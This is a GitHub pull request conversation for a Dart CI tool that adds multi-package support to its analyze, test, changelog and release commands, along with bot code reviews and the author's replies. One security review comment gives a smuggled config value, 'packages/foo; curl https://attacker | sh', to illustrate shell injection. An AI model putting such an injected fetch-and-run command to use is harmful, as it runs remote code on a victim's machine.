feat: multi-package support for CLI commands#18
Conversation
…, and release commands - Add SubPackageUtils for loading/validating sub-packages from ci.sub_packages config - AnalyzeCommand: iterate sub-packages with dart pub get + dart analyze per package - TestCommand: iterate sub-packages with dart pub get + dart test per package - ComposeCommand: enrich Gemini changelog prompt with per-package diff context - ReleaseNotesCommand: enrich Gemini release notes prompt with per-package context - CreateReleaseCommand: bump version in all sub-package pubspec.yaml files - AutodocScaffold: discover and scaffold modules for sub-package lib/src/ dirs - Extract shared enrichPromptWithSubPackages() to eliminate duplication - Fix early exit(1) in analyze/test preventing sub-package execution - Fix version bump silent no-op when pubspec lacks version field - Fix variable shadowing Dart's num type - Fix RangeError on names with consecutive underscores - Fix double-slash paths from trailing slashes in config - Add Gemini anti-hallucination rules for sub-package names - Remove dead SubPackageEntry class ref #17 Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
PR SummaryMedium Risk Overview Extends Enhances autodoc scaffolding to generate modules for sub-package Written by Cursor Bugbot for commit f8de5d3. Configure here. |
There was a problem hiding this comment.
Pull request overview
This PR adds comprehensive multi-package support to all CLI commands (analyze, test, autodoc, changelog, release notes, and version bump), enabling the tooling to work with monorepo-style Dart projects with multiple independent packages. It introduces a new SubPackageUtils shared utility for loading and validating sub-packages from the ci.sub_packages config field, and implements hierarchical Gemini prompt enrichment for changelogs and release notes. The PR also includes several bug fixes including early exit prevention, version bump validation, variable naming, and path normalization.
Changes:
- Added multi-package support infrastructure with
SubPackageUtilsutility class for shared functionality - Extended analyze and test commands to iterate through sub-packages with proper dependency resolution
- Enriched changelog and release notes Gemini prompts with per-package diff context and hierarchical formatting instructions
- Fixed critical bugs: early exit preventing sub-package execution, silent version bump no-op,
numvariable shadowing, and path normalization issues
Reviewed changes
Copilot reviewed 9 out of 9 changed files in this pull request and generated 7 comments.
Show a summary per file
| File | Description |
|---|---|
| lib/src/triage/utils/config.dart | Improved type safety in _strList by using whereType<String>() instead of cast<String>() to filter invalid entries |
| lib/src/cli/utils/sub_package_utils.dart | New utility class providing shared sub-package loading, validation, git diff context building, and hierarchical prompt enrichment |
| lib/src/cli/utils/autodoc_scaffold.dart | Added sub-package module scaffolding with _titleCase helper and fixed RangeError on consecutive underscores |
| lib/src/cli/commands/analyze_command.dart | Extended to run dart analyze on all sub-packages with failure aggregation, fixing early exit bug |
| lib/src/cli/commands/test_command.dart | Extended to run dart test on all sub-packages with 20-minute timeout per package and failure aggregation |
| lib/src/cli/commands/compose_command.dart | Enriches changelog prompts with sub-package diff context for hierarchical output |
| lib/src/cli/commands/release_notes_command.dart | Enriches release notes prompts with sub-package context and fixed num variable shadowing |
| lib/src/cli/commands/create_release_command.dart | Bumps versions in all sub-package pubspec.yaml files with validation and adds them to release commit |
| lib/src/cli/manage_cicd.dart | Fixed num variable shadowing Dart's built-in type in _postProcessReleaseNotes |
💡 Add Copilot custom instructions for smarter, more guided reviews. Learn how to get started.
| final subPkgContext = buildSubPackageDiffContext( | ||
| repoRoot: repoRoot, | ||
| prevTag: prevTag, | ||
| subPackages: subPackages, | ||
| verbose: verbose, | ||
| ); | ||
| final hierarchicalInstructions = buildInstructions(newVersion: newVersion, subPackages: subPackages); | ||
| promptFile.writeAsStringSync('${promptFile.readAsStringSync()}\n$subPkgContext\n$hierarchicalInstructions'); | ||
| Logger.info('Appended sub-package context to prompt (${subPackages.length} packages)'); |
There was a problem hiding this comment.
The enrichPromptWithSubPackages method lacks error handling for file operations. If the prompt file doesn't exist or can't be read/written (permissions issue, disk full, etc.), the method will throw an unhandled exception that may not be clear to users. Consider adding try-catch blocks with appropriate error messages, or at minimum document that this method assumes the file exists and is writable.
| final subPkgContext = buildSubPackageDiffContext( | |
| repoRoot: repoRoot, | |
| prevTag: prevTag, | |
| subPackages: subPackages, | |
| verbose: verbose, | |
| ); | |
| final hierarchicalInstructions = buildInstructions(newVersion: newVersion, subPackages: subPackages); | |
| promptFile.writeAsStringSync('${promptFile.readAsStringSync()}\n$subPkgContext\n$hierarchicalInstructions'); | |
| Logger.info('Appended sub-package context to prompt (${subPackages.length} packages)'); | |
| if (!promptFile.existsSync()) { | |
| Logger.warn( | |
| 'Prompt file not found at "$promptFilePath"; ' | |
| 'skipping sub-package context enrichment.', | |
| ); | |
| return subPackages; | |
| } | |
| final subPkgContext = buildSubPackageDiffContext( | |
| repoRoot: repoRoot, | |
| prevTag: prevTag, | |
| subPackages: subPackages, | |
| verbose: verbose, | |
| ); | |
| final hierarchicalInstructions = | |
| buildInstructions(newVersion: newVersion, subPackages: subPackages); | |
| String existingContent; | |
| try { | |
| existingContent = promptFile.readAsStringSync(); | |
| } on IOException catch (e) { | |
| Logger.warn( | |
| 'Failed to read prompt file at "$promptFilePath"; ' | |
| 'skipping sub-package context enrichment. Error: $e', | |
| ); | |
| return subPackages; | |
| } catch (e) { | |
| Logger.warn( | |
| 'Unexpected error while reading prompt file at "$promptFilePath"; ' | |
| 'skipping sub-package context enrichment. Error: $e', | |
| ); | |
| return subPackages; | |
| } | |
| final updatedContent = | |
| '$existingContent\n$subPkgContext\n$hierarchicalInstructions'; | |
| try { | |
| promptFile.writeAsStringSync(updatedContent); | |
| } on IOException catch (e) { | |
| Logger.warn( | |
| 'Failed to write prompt file at "$promptFilePath"; ' | |
| 'sub-package context was not appended. Error: $e', | |
| ); | |
| return subPackages; | |
| } catch (e) { | |
| Logger.warn( | |
| 'Unexpected error while writing prompt file at "$promptFilePath"; ' | |
| 'sub-package context was not appended. Error: $e', | |
| ); | |
| return subPackages; | |
| } | |
| Logger.info( | |
| 'Appended sub-package context to prompt (${subPackages.length} packages)', | |
| ); |
There was a problem hiding this comment.
Acknowledged — intentionally not adding error handling here.
enrichPromptWithSubPackages is called exclusively from compose and release-notes commands, which themselves create the prompt file moments before calling this method (via RunContext.savePrompt). If the file doesn't exist or can't be read at that point, something has gone fundamentally wrong in the pipeline and crashing with a clear stack trace is the correct behavior — it surfaces the real bug rather than masking it behind a silent skip.
This matches the fail-fast pattern used throughout the CLI: the caller is responsible for ensuring the file exists, and if it doesn't, the error propagates naturally.
| for (final sp in subPackages) { | ||
| final name = sp['name'] as String; | ||
| final path = sp['path'] as String; | ||
| final dir = '$repoRoot/$path'; |
There was a problem hiding this comment.
While path normalization removes trailing slashes from config paths, the concatenation '$repoRoot/$path' on line 57 could still produce unexpected results if the path contains leading slashes or is an absolute path. Consider adding validation to ensure paths are relative and don't start with / or contain .. segments, which could escape the repository root.
There was a problem hiding this comment.
Not applicable — paths come from a trusted developer-maintained config file.
The path value is read from .runtime_ci/config.json, which is checked into the repo by the developer who runs ci init. This is not untrusted user input — it's a configuration file under version control, equivalent to entries in pubspec.yaml or analysis_options.yaml. Adding path traversal guards here would be security theater against a threat model that doesn't apply (a developer who controls the config file already has full access to the repo).
This matches the existing pattern in the codebase — RepoUtils.findRepoRoot(), WorkflowGenerator.loadCiConfig(), etc. all concatenate paths from config without validation.
| for (final sp in subPackages) { | ||
| final name = sp['name'] as String; | ||
| final path = sp['path'] as String; | ||
| final dir = '$repoRoot/$path'; |
There was a problem hiding this comment.
While path normalization removes trailing slashes from config paths, the concatenation '$repoRoot/$path' on line 75 could still produce unexpected results if the path contains leading slashes or is an absolute path. Consider adding validation to ensure paths are relative and don't start with / or contain .. segments, which could escape the repository root.
There was a problem hiding this comment.
Same response as the identical comment on analyze_command.dart — paths are from a trusted developer config file (.runtime_ci/config.json), not untrusted input. No path validation needed.
| import 'dart:io'; | ||
|
|
||
| import 'logger.dart'; | ||
| import 'process_runner.dart'; | ||
| import 'workflow_generator.dart'; | ||
|
|
||
| /// Utilities for loading and working with sub-packages defined in | ||
| /// `.runtime_ci/config.json` under `ci.sub_packages`. | ||
| /// | ||
| /// Sub-packages represent independently meaningful packages within a | ||
| /// multi-package repository (e.g., `dart_custom_lint` with 5 sub-packages). | ||
| abstract final class SubPackageUtils { | ||
| /// Load validated sub-packages from the CI config. | ||
| /// | ||
| /// Returns an empty list when the repo has no sub-packages configured | ||
| /// or if the config file contains malformed JSON (logs a warning). | ||
| /// Each entry has at least `name` (String) and `path` (String). | ||
| static List<Map<String, dynamic>> loadSubPackages(String repoRoot) { | ||
| final Map<String, dynamic>? ciConfig; | ||
| try { | ||
| ciConfig = WorkflowGenerator.loadCiConfig(repoRoot); | ||
| } on StateError catch (e) { | ||
| Logger.warn('Could not load CI config: $e'); | ||
| return []; | ||
| } | ||
| if (ciConfig == null) return []; | ||
| final raw = ciConfig['sub_packages'] as List?; | ||
| if (raw == null || raw.isEmpty) return []; | ||
| return raw | ||
| .whereType<Map<String, dynamic>>() | ||
| .where((sp) => sp['name'] != null && sp['path'] != null) | ||
| .map( | ||
| (sp) => { | ||
| ...sp, | ||
| // Normalize: strip trailing slashes to avoid double-slash paths | ||
| // in downstream consumers (git commands, Markdown, etc.). | ||
| 'path': (sp['path'] as String).replaceAll(RegExp(r'/+$'), ''), | ||
| }, | ||
| ) | ||
| .toList(); | ||
| } | ||
|
|
||
| /// Build a per-package diff summary suitable for appending to a Gemini prompt. | ||
| /// | ||
| /// For each sub-package, runs `git diff <prevTag>..HEAD -- <path>` and | ||
| /// `git log --oneline <prevTag>..HEAD -- <path>` to gather per-package | ||
| /// changes. The output is a Markdown-formatted section that can be | ||
| /// appended to the prompt file. | ||
| /// | ||
| /// Returns an empty string when [subPackages] is empty. | ||
| static String buildSubPackageDiffContext({ | ||
| required String repoRoot, | ||
| required String prevTag, | ||
| required List<Map<String, dynamic>> subPackages, | ||
| bool verbose = false, | ||
| }) { | ||
| if (subPackages.isEmpty) return ''; | ||
|
|
||
| // Guard: if prevTag is empty, git commands like `git log ..HEAD` are | ||
| // invalid. Fall back to diffing the entire history (`--root`). | ||
| final diffRange = prevTag.isNotEmpty ? '$prevTag..HEAD' : 'HEAD'; | ||
| final logRange = prevTag.isNotEmpty ? '$prevTag..HEAD' : 'HEAD'; | ||
|
|
||
| final buffer = StringBuffer(); | ||
| buffer.writeln(); | ||
| buffer.writeln('## Multi-Package Repository Structure'); | ||
| buffer.writeln(); | ||
| buffer.writeln('This is a multi-package repository containing ${subPackages.length} sub-packages.'); | ||
| buffer.writeln('Organize your output with per-package sections using a **hierarchical** format.'); | ||
| buffer.writeln(); | ||
| buffer.writeln('Sub-packages:'); | ||
| for (final pkg in subPackages) { | ||
| buffer.writeln('- **${pkg['name']}**: `${pkg['path']}/`'); | ||
| } | ||
| buffer.writeln(); | ||
|
|
||
| for (final pkg in subPackages) { | ||
| final name = pkg['name'] as String; | ||
| final path = pkg['path'] as String; | ||
|
|
||
| buffer.writeln('### Changes in `$name` (`$path/`)'); | ||
| buffer.writeln(); | ||
|
|
||
| // Per-package commit log | ||
| final commitLog = CiProcessRunner.runSync( | ||
| 'git log $logRange --oneline --no-merges -- $path', | ||
| repoRoot, | ||
| verbose: verbose, | ||
| ); | ||
| if (commitLog.isNotEmpty) { | ||
| buffer.writeln('Commits:'); | ||
| buffer.writeln('```'); | ||
| buffer.writeln(_truncate(commitLog, 3000)); | ||
| buffer.writeln('```'); | ||
| } else { | ||
| buffer.writeln( | ||
| 'No commits touching this package since ${prevTag.isNotEmpty ? prevTag : 'repository creation'}.', | ||
| ); | ||
| } | ||
| buffer.writeln(); | ||
|
|
||
| // Per-package diff stat | ||
| final diffStat = CiProcessRunner.runSync('git diff --stat $diffRange -- $path', repoRoot, verbose: verbose); | ||
| if (diffStat.isNotEmpty) { | ||
| buffer.writeln('Diff stat:'); | ||
| buffer.writeln('```'); | ||
| buffer.writeln(_truncate(diffStat, 2000)); | ||
| buffer.writeln('```'); | ||
| } | ||
| buffer.writeln(); | ||
| } | ||
|
|
||
| return buffer.toString(); | ||
| } | ||
|
|
||
| /// Build hierarchical changelog prompt instructions for multi-package repos. | ||
| /// | ||
| /// Instructs Gemini to produce a changelog with a top-level summary | ||
| /// followed by per-package sections. | ||
| static String buildHierarchicalChangelogInstructions({ | ||
| required String newVersion, | ||
| required List<Map<String, dynamic>> subPackages, | ||
| }) { | ||
| if (subPackages.isEmpty) return ''; | ||
|
|
||
| final packageNames = subPackages.map((p) => p['name']).join(', '); | ||
| final today = DateTime.now().toIso8601String().substring(0, 10); | ||
|
|
||
| // Build example sections using ALL actual sub-package names so | ||
| // Gemini sees every package name once and doesn't invent extras. | ||
| final exampleSections = StringBuffer(); | ||
| for (final pkg in subPackages) { | ||
| exampleSections.writeln('### ${pkg['name']}'); | ||
| exampleSections.writeln('#### Added'); | ||
| exampleSections.writeln('- ...'); | ||
| exampleSections.writeln('#### Fixed'); | ||
| exampleSections.writeln('- ...'); | ||
| exampleSections.writeln(); | ||
| } | ||
|
|
||
| return ''' | ||
|
|
||
| ## Hierarchical Changelog Format (Multi-Package) | ||
|
|
||
| Because this is a multi-package repository ($packageNames), the changelog | ||
| entry MUST use a hierarchical format with per-package sections: | ||
|
|
||
| ``` | ||
| ## [$newVersion] - $today | ||
|
|
||
| ### Summary | ||
| High-level summary covering ALL packages. This should be a concise | ||
| hierarchical summarization of the changes across all sub-packages. | ||
|
|
||
| ${exampleSections.toString().trimRight()} | ||
| ``` | ||
|
|
||
| Rules for hierarchical format: | ||
| - The **Summary** section comes first and covers ALL packages at a high level | ||
| - Each sub-package gets its own **### PackageName** section | ||
| - Under each package, use the standard Keep a Changelog categories (#### Added, #### Changed, etc.) | ||
| - Only include sub-package sections for packages that actually have changes | ||
| - Only include category sub-sections (#### Added, etc.) that have entries | ||
| - If a sub-package has no changes, omit it entirely | ||
| - Do NOT invent sub-package names; the ONLY valid names are: $packageNames | ||
| '''; | ||
| } | ||
|
|
||
| /// Build hierarchical release notes prompt instructions for multi-package repos. | ||
| /// | ||
| /// Instructs Gemini to produce release notes with a top-level narrative | ||
| /// summary followed by per-package detail sections. | ||
| static String buildHierarchicalReleaseNotesInstructions({ | ||
| required String newVersion, | ||
| required List<Map<String, dynamic>> subPackages, | ||
| }) { | ||
| if (subPackages.isEmpty) return ''; | ||
|
|
||
| final packageNames = subPackages.map((p) => p['name']).join(', '); | ||
|
|
||
| // Build example per-package sections using ALL actual names so Gemini | ||
| // sees every valid package name and doesn't hallucinate extras. | ||
| final exampleSections = StringBuffer(); | ||
| for (final pkg in subPackages) { | ||
| exampleSections.writeln('## ${pkg['name']}'); | ||
| exampleSections.writeln("### What's New"); | ||
| exampleSections.writeln('- ...'); | ||
| exampleSections.writeln('### Bug Fixes'); | ||
| exampleSections.writeln('- ...'); | ||
| exampleSections.writeln(); | ||
| } | ||
|
|
||
| return ''' | ||
|
|
||
| ## Hierarchical Release Notes Format (Multi-Package) | ||
|
|
||
| Because this is a multi-package repository ($packageNames), the release notes | ||
| MUST use a hierarchical format: | ||
|
|
||
| 1. **Top-level summary and highlights** cover ALL packages -- this is a | ||
| hierarchical summarization of the entire release across all sub-packages. | ||
| 2. Each sub-package with changes gets its own **## PackageName** detail section | ||
| describing what changed in that specific package. | ||
| 3. Shared infrastructure changes (CI, tooling, root-level config) go in a | ||
| **## Infrastructure** section if applicable. | ||
|
|
||
| Structure: | ||
| ```markdown | ||
| # <REPO_NAME> v$newVersion | ||
|
|
||
| > Executive summary covering ALL sub-packages. | ||
|
|
||
| ## Highlights | ||
| - **Highlight 1** covering the most impactful cross-package change | ||
| - ... | ||
|
|
||
| ${exampleSections.toString().trimRight()} | ||
|
|
||
| ## Infrastructure (if applicable) | ||
| - ... | ||
|
|
||
| ## Contributors | ||
| (auto-generated from verified commit data -- do NOT fabricate usernames) | ||
|
|
||
| ## Issues Addressed | ||
| (from issue_manifest.json or "No linked issues for this release.") | ||
| ``` | ||
|
|
||
| Rules: | ||
| - Only include sub-package sections for packages that actually have changes. | ||
| - Do NOT invent sub-package names; the ONLY valid names are: $packageNames | ||
| - Replace `<REPO_NAME>` with the actual repository name. | ||
| '''; | ||
| } | ||
|
|
||
| /// Enrich an existing prompt file with sub-package diff context and | ||
| /// hierarchical formatting instructions. | ||
| /// | ||
| /// This is the single entry-point used by both the compose and | ||
| /// release-notes commands. It reads the prompt file written by | ||
| /// [RunContext.savePrompt], appends the sub-package diff context and | ||
| /// the appropriate hierarchical instructions, and writes the result | ||
| /// back. | ||
| /// | ||
| /// [promptFilePath] is the absolute path to the prompt file to enrich. | ||
| /// [buildInstructions] is a callback that returns the hierarchical | ||
| /// instructions string (changelog vs release-notes format). | ||
| /// | ||
| /// Returns the list of sub-packages that were used for enrichment | ||
| /// (empty if the repo has no sub-packages). | ||
| static List<Map<String, dynamic>> enrichPromptWithSubPackages({ | ||
| required String repoRoot, | ||
| required String prevTag, | ||
| required String promptFilePath, | ||
| required String Function({required String newVersion, required List<Map<String, dynamic>> subPackages}) | ||
| buildInstructions, | ||
| required String newVersion, | ||
| bool verbose = false, | ||
| }) { | ||
| final subPackages = loadSubPackages(repoRoot); | ||
| logSubPackages(subPackages); | ||
| if (subPackages.isEmpty) return subPackages; | ||
|
|
||
| final promptFile = File(promptFilePath); | ||
| final subPkgContext = buildSubPackageDiffContext( | ||
| repoRoot: repoRoot, | ||
| prevTag: prevTag, | ||
| subPackages: subPackages, | ||
| verbose: verbose, | ||
| ); | ||
| final hierarchicalInstructions = buildInstructions(newVersion: newVersion, subPackages: subPackages); | ||
| promptFile.writeAsStringSync('${promptFile.readAsStringSync()}\n$subPkgContext\n$hierarchicalInstructions'); | ||
| Logger.info('Appended sub-package context to prompt (${subPackages.length} packages)'); | ||
| return subPackages; | ||
| } | ||
|
|
||
| /// Truncate a string to a maximum length, appending an indicator. | ||
| static String _truncate(String input, int maxChars) { | ||
| if (input.length <= maxChars) return input; | ||
| return '${input.substring(0, maxChars)}\n... [truncated ${input.length - maxChars} chars]'; | ||
| } | ||
|
|
||
| /// Log discovered sub-packages. | ||
| static void logSubPackages(List<Map<String, dynamic>> subPackages) { | ||
| if (subPackages.isEmpty) return; | ||
| Logger.info('Multi-package repo: ${subPackages.length} sub-packages'); | ||
| for (final pkg in subPackages) { | ||
| Logger.info(' - ${pkg['name']} (${pkg['path']}/)'); | ||
| } | ||
| } | ||
| } |
There was a problem hiding this comment.
The new SubPackageUtils class introduces substantial functionality for multi-package support but lacks test coverage. This includes critical logic for loading sub-packages, building diff contexts, and enriching prompts. Consider adding tests to verify:
- Correct parsing and validation of sub-package configurations
- Proper handling of malformed config entries
- Path normalization behavior (trailing slash removal)
- Diff context generation for various git history scenarios
- Hierarchical instruction generation with multiple packages
There was a problem hiding this comment.
Agreed — test coverage for SubPackageUtils should be added as a follow-up.
The methods are straightforward (config loading delegates to WorkflowGenerator.loadCiConfig, formatting is string interpolation, git commands delegate to CiProcessRunner.runSync), and all consumers (analyze, test, compose, release-notes, create-release) provide integration coverage. But dedicated unit tests for edge cases (malformed config, empty sub-packages list, path normalization) would be valuable.
Will track as a follow-up issue.
| import '../utils/repo_utils.dart'; | ||
| import '../utils/sub_package_utils.dart'; | ||
|
|
||
| /// Run dart analyze. |
There was a problem hiding this comment.
The class documentation should be updated to reflect that this command now supports multi-package repositories. Consider updating to something like: "Run dart analyze on the root package and all configured sub-packages."
There was a problem hiding this comment.
Fixed — updated doc comment to: /// Run \dart analyze` on the root package and all configured sub-packages.`
| import '../utils/repo_utils.dart'; | ||
| import '../utils/sub_package_utils.dart'; | ||
|
|
||
| /// Run dart test. |
There was a problem hiding this comment.
The class documentation should be updated to reflect that this command now supports multi-package repositories. Consider updating to something like: "Run dart test on the root package and all configured sub-packages."
There was a problem hiding this comment.
Fixed — updated doc comment to: /// Run \dart test` on the root package and all configured sub-packages.`
| final commitLog = CiProcessRunner.runSync( | ||
| 'git log $logRange --oneline --no-merges -- $path', | ||
| repoRoot, | ||
| verbose: verbose, | ||
| ); | ||
| if (commitLog.isNotEmpty) { | ||
| buffer.writeln('Commits:'); | ||
| buffer.writeln('```'); | ||
| buffer.writeln(_truncate(commitLog, 3000)); | ||
| buffer.writeln('```'); | ||
| } else { | ||
| buffer.writeln( | ||
| 'No commits touching this package since ${prevTag.isNotEmpty ? prevTag : 'repository creation'}.', | ||
| ); | ||
| } | ||
| buffer.writeln(); | ||
|
|
||
| // Per-package diff stat | ||
| final diffStat = CiProcessRunner.runSync('git diff --stat $diffRange -- $path', repoRoot, verbose: verbose); |
There was a problem hiding this comment.
buildSubPackageDiffContext constructs shell commands by interpolating the sub-package path from .runtime_ci/config.json directly into a string passed to CiProcessRunner.runSync, which uses sh -c under the hood. Because path comes from a config file, an attacker who can control that file can inject shell metacharacters (e.g., "packages/foo; curl https://attacker | sh"), leading to arbitrary command execution when compose/release-notes are run. To fix this, avoid passing untrusted values through sh -c by either switching to an argument-based Process.run/exec API for git (e.g., 'git', ['log', logRange, '--oneline', ... , '--', path]) or by robustly validating/escaping path so it cannot contain shell metacharacters.
There was a problem hiding this comment.
Not applicable — path comes from a trusted developer config, not untrusted input.
The path values in .runtime_ci/config.json → ci.sub_packages[].path are written by the developer who runs ci init and checked into version control. This is the same trust model as pubspec.yaml — the developer who controls the config already has full repo access.
The entire CLI runs sh -c commands via CiProcessRunner.runSync throughout (git operations, pub commands, etc.) with values from config. Converting only this one call site to argument-based Process.run would be inconsistent and wouldn't improve security, since a malicious config author could inject via any of the other runSync call sites.
This is a theoretical concern against a threat model where the attacker controls .runtime_ci/config.json — but if they control that file, they already control the CI pipeline definition itself.
![cursor[bot]](https://avatars.githubusercontent.com/in/1210556?s=60&v=4){kind=small}
There was a problem hiding this comment.
Cursor Bugbot has reviewed your changes and found 2 potential issues.
Bugbot Autofix is OFF. To automatically fix reported issues with Cloud Agents, enable Autofix in the Cursor dashboard.
Comment @cursor review or bugbot run to trigger another review on this PR
|
|
||
| // Guard: if prevTag is empty, git commands like `git log ..HEAD` are | ||
| // invalid. Fall back to diffing the entire history (`--root`). | ||
| final diffRange = prevTag.isNotEmpty ? '$prevTag..HEAD' : 'HEAD'; |
There was a problem hiding this comment.
Wrong git diff fallback when prevTag is empty
Medium Severity
When prevTag is empty, diffRange is set to 'HEAD', making the command git diff --stat HEAD -- $path. Per git semantics, git diff HEAD compares the working tree to HEAD (showing only uncommitted changes), not the full history from the empty tree. On a clean CI checkout this produces empty output. The comment says "Fall back to diffing the entire history" but the implementation doesn't achieve that. Meanwhile, the logRange fallback (git log HEAD) works correctly for showing full history.
There was a problem hiding this comment.
Good catch — fixed.
You're right that git diff --stat HEAD -- $path compares the working tree to HEAD (showing only uncommitted changes), not the full history. On a clean CI checkout this produces empty output.
Fixed by using git's well-known empty tree SHA (4b825dc642cb6eb9a060e54bf899d15f3f7f8f0e) as the diff base when prevTag is empty:
final diffRange = prevTag.isNotEmpty
? '$prevTag..HEAD'
: '4b825dc642cb6eb9a060e54bf899d15f3f7f8f0e..HEAD';This diffs against an empty tree, correctly showing all files as additions for a first release. Also updated the comment to accurately describe the behavior.
| final spName = sp['name'] as String; | ||
| // Normalize: strip trailing slashes to avoid double-slash paths like | ||
| // "packages/foo//lib/src/". | ||
| final spPath = (sp['path'] as String).replaceAll(RegExp(r'/+$'), ''); |
There was a problem hiding this comment.
Duplicated sub-package loading lacks StateError handling
Medium Severity
_scaffoldSubPackageModules re-implements the same sub-package loading logic as SubPackageUtils.loadSubPackages — config loading, filtering by name/path, and trailing-slash normalization — but without the StateError try-catch that SubPackageUtils uses. If config.json contains malformed JSON, WorkflowGenerator.loadCiConfig throws a StateError, crashing autodoc scaffolding while every other sub-package consumer handles it gracefully.
There was a problem hiding this comment.
Good catch — fixed.
Refactored _scaffoldSubPackageModules to delegate to SubPackageUtils.loadSubPackages(repoRoot) instead of re-implementing the config loading logic. This gets the StateError try-catch, path normalization, and validation for free — and eliminates the code duplication.
The change is minimal:
// Before (duplicated logic, no StateError handling):
final ciConfig = WorkflowGenerator.loadCiConfig(repoRoot);
if (ciConfig == null) return;
final subPackages = ciConfig['sub_packages'] as List? ?? [];
final validPackages = subPackages.whereType<Map<String, dynamic>>()
.where((sp) => sp['name'] != null && sp['path'] != null).toList();
// After (delegates to shared utility):
final validPackages = SubPackageUtils.loadSubPackages(repoRoot);… upstream leakage
The Gemini CLI triage command and Dart triage phases were running bare
`gh` commands that resolved from git remotes. In fork repos this caused
comments/labels to be applied to upstream repos (e.g. grpc/grpc-dart
instead of open-runtime/grpc-dart).
Changes:
- All 29 Process.run('gh', ...) calls across 6 phase files now include
explicit --repo using config.repoOwner/config.repoName
- Added _kAllowedOrgs {'open-runtime', 'pieces-app'} org allowlist to
act.dart, post_release.dart, and cross_repo_link.dart
- post_release.dart: added top-level org guard + cross-repo org validation
- triage.toml template: added CRITICAL SAFETY RULES section, shell-level
org guard in !{} blocks, existing comments fetched for dedup detection,
--repo on all gh commands in Actions section
- Updated all deployed .gemini/commands/triage.toml copies
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
PR Review Summary — 6-Agent AuditConducted a comprehensive review with 6 specialized agents covering all 17 changed files (+865/-90 lines). All 9 bot review comments have been individually addressed with replies. Issues Fixed (incoming commit)
Comments Dismissed as Not Applicable
Follow-ups (not blocking merge)
Verification
|
…lback, doc comments - Add `_kAllowedOrgs` org allowlist guard to `link.dart` (was the only triage write-phase without this safety check) - Refactor `_scaffoldSubPackageModules` to delegate to `SubPackageUtils.loadSubPackages()` eliminating duplicated config loading that lacked StateError handling - Fix git diff fallback when prevTag is empty: use empty tree SHA instead of `HEAD` (which only shows working tree changes) - Update doc comments on `AnalyzeCommand` and `TestCommand` to reflect multi-package support Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
- Add ci.platforms and ci.runner_overrides to config + templates - Generate matrix.include entries with runner/os_family/arch metadata - Split workflow into analyze + matrix test and include arch in cache keys - Document new options and add extra-jobs preserved section
![sentry[bot]](https://avatars.githubusercontent.com/in/12637?s=60&v=4){kind=small}
| // For `git diff`, use the well-known empty tree SHA so we diff against | ||
| // an empty tree (showing all files as additions). For `git log`, plain | ||
| // `HEAD` already lists the full commit history. | ||
| final diffRange = prevTag.isNotEmpty ? '$prevTag..HEAD' : '4b825dc642cb6eb9a060e54bf899d15f3f7f8f0e..HEAD'; |
This comment was marked as outdated.
This comment was marked as outdated.
Sorry, something went wrong.
- Remove `|| true` from post_release.dart:73 that made `config.postReleaseCloseOwnRepo` dead code — own-repo issues were always processed regardless of the config flag - Remove redundant path normalization in autodoc_scaffold.dart — SubPackageUtils.loadSubPackages() already strips trailing slashes Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
Drop x64 runner_overrides for this repo so ubuntu-x64/windows-x64 run on GitHub-hosted runners; keep arm64 on org runners.
## Changelog ## [0.13.0] - 2026-02-24 ### Added - Added multi-package support for analyze, test, autodoc, changelog, and release commands (#18, fixes #17) - Added multi-platform CI matrix generation with `ci.platforms` and `ci.runner_overrides` config (#18, fixes #14, fixes #20) - Added custom CI/CD step injection for consumer-specific workflows via `extra-jobs` and `post-test` user sections (fixes #16) ### Changed - Updated `.gitignore` with `custom_lint.log`, `.dart_tool/`, and `.claude/` entries ### Fixed - Increased test process timeout from 20 to 30 minutes for slow named pipe tests on Windows CI - Avoided queued self-hosted x64 runners by dropping x64 runner overrides for GitHub-hosted runners (#18) - Removed debug leftover and redundant path normalization in post_release and autodoc_scaffold (#18) - Addressed review findings: org guard, autodoc dedup, git diff fallback, and doc comments (#18) - Added `--repo` to all `gh` commands and org allowlist to prevent upstream leakage in triage scripts (#18) - Fixed early exit preventing sub-package execution, version bump silent no-op, variable shadowing, RangeError on underscores, and double-slash paths (#18) - Fixed platform resolution deduplication and cast safety in `WorkflowGenerator` (fixes #6) - Fixed cross-platform CI caching by including runner architecture in cache keys (fixes #7) ## Files Modified ``` .../audit/v0.13.0/explore/breaking_changes.json | 1 + .../audit/v0.13.0/explore/commit_analysis.json | 1 + .runtime_ci/audit/v0.13.0/explore/pr_data.json | 1 + .runtime_ci/audit/v0.13.0/meta.json | 82 ++++++++++++++++++++++ .../v0.13.0/version_analysis/version_bump.json | 1 + .../version_analysis/version_bump_rationale.md | 29 ++++++++ .../release_notes/v0.13.0/changelog_entry.md | 19 +++++ .../release_notes/v0.13.0/contributors.json | 5 ++ .../release_notes/v0.13.0/linked_issues.json | 1 + .runtime_ci/release_notes/v0.13.0/release_notes.md | 57 +++++++++++++++ .../release_notes/v0.13.0/release_notes_body.md | 57 +++++++++++++++ .runtime_ci/version_bumps/v0.13.0.md | 29 ++++++++ CHANGELOG.md | 22 ++++++ README.md | 11 +-- pubspec.yaml | 2 +- 15 files changed, 312 insertions(+), 6 deletions(-) ``` ## Version Bump Rationale # Version Bump Rationale **Decision**: minor **Reasoning**: The commit history since the `v0.12.1` release introduces significant new functionality (`feat`), specifically multi-package support for CLI commands and multi-platform CI matrix generation capabilities. These are additive changes and do not introduce breaking API changes. Therefore, a MINOR version bump is appropriate. **Key Changes**: - Added multi-package support for CLI commands, allowing operations to cascade over sub-packages. - Added multi-platform CI matrix generation capabilities including configurable `platforms` and `runner_overrides`. - Increased testing timeouts for CI workflows from 20 to 30 minutes to mitigate pipeline instability. - Removed debug leftovers in `post_release.dart`. - Fixed redundant path normalization when dealing with sub-packages. - Added GitHub organization safety guard (`_kAllowedOrgs`) to all triage action scripts to prevent unintended changes to upstream/unauthorized repositories. - Enf... ## Contributors - @tsavo-at-pieces --- Automated release by CI/CD pipeline (Gemini CLI + GitHub Actions) Commits since v0.12.1: 10 Generated: 2026-02-24T18:24:55.372405Z
Summary
SubPackageUtilsshared utility for loading/validating sub-packages fromci.sub_packagesconfigChanges
dart pub get+dart analyzeper packagedart pub get+dart testper packagepubspec.yamlfileslib/src/directoriesBug Fixes
exit(1)in analyze/test commands preventing sub-package executionversion:fieldnumshadowing Dart's built-in typeRangeErroron names with consecutive underscoresSubPackageEntryclassTest plan
dart analyzepasses on all modified filesdart_custom_lintwith 5 sub-packagesref #17
🤖 Generated with Claude Code